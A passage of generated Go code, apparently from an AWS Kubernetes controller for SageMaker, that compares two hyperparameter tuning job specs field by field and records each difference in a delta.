b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxNumberOfTrainingJobs)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil && b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs != *b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs\", a.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs, b.ko.Spec.HyperParameterTuningJobConfig.ResourceLimits.MaxParallelTrainingJobs)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.Strategy\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil && b.ko.Spec.HyperParameterTuningJobConfig.Strategy != nil {\n\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.Strategy != *b.ko.Spec.HyperParameterTuningJobConfig.Strategy {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.Strategy\", a.ko.Spec.HyperParameterTuningJobConfig.Strategy, b.ko.Spec.HyperParameterTuningJobConfig.Strategy)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil && b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != nil {\n\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType != *b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType\", a.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType, b.ko.Spec.HyperParameterTuningJobConfig.TrainingJobEarlyStoppingType)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria) {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria)\n\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue) {\n\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\n\t\t\t} else if a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil && b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != nil {\n\t\t\t\tif *a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue != *b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue {\n\t\t\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue\", a.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue, b.ko.Spec.HyperParameterTuningJobConfig.TuningJobCompletionCriteria.TargetObjectiveMetricValue)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName) {\n\t\tdelta.Add(\"Spec.HyperParameterTuningJobName\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\n\t} else if a.ko.Spec.HyperParameterTuningJobName != nil && b.ko.Spec.HyperParameterTuningJobName != nil {\n\t\tif *a.ko.Spec.HyperParameterTuningJobName != *b.ko.Spec.HyperParameterTuningJobName {\n\t\t\tdelta.Add(\"Spec.HyperParameterTuningJobName\", a.ko.Spec.HyperParameterTuningJobName, b.ko.Spec.HyperParameterTuningJobName)\n\t\t}\n\t}\n\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition) {\n\t\tdelta.Add(\"Spec.TrainingJobDefinition\", a.ko.Spec.TrainingJobDefinition, b.ko.Spec.TrainingJobDefinition)\n\t} else if a.ko.Spec.TrainingJobDefinition != nil && b.ko.Spec.TrainingJobDefinition != nil {\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.AlgorithmName)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.MetricDefinitions)\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingImage)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil && b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode != *b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode\", a.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode, b.ko.Spec.TrainingJobDefinition.AlgorithmSpecification.TrainingInputMode)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig, b.ko.Spec.TrainingJobDefinition.CheckpointConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.DefinitionName\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.DefinitionName != nil && b.ko.Spec.TrainingJobDefinition.DefinitionName != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.DefinitionName != *b.ko.Spec.TrainingJobDefinition.DefinitionName {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.DefinitionName\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil && b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != *b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil && b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != *b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableNetworkIsolation\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil && b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != *b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.EnableNetworkIsolation\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil && b.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil {\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges)\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges)\n\t\t\t}\n\t\t}\n\t\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.InputDataConfig\", a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig)\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig\", a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig != nil {\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\n\t\t\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil {\n\t\t\t\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB {\n\t\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.RoleARN\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.RoleARN != nil && b.ko.Spec.TrainingJobDefinition.RoleARN != nil {\n\t\t\tif *a.ko.Spec.TrainingJobDefinition.RoleARN != *b.ko.Spec.TrainingJobDefinition.RoleARN {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.RoleARN\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\n\t\t\t}\n\t\t}\n\t\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\n\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StaticHyperParameters\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\n\t\t} else if a.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil && b.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil {\n\t\t\tif !ackcompare.MapStringStringPEqual(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\n\t\t\t\tdelta.Add(\"Spec.TrainingJobDefinition.StaticHyperParameters\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\n\t\t\t}\n\t\t}\n\t\tif 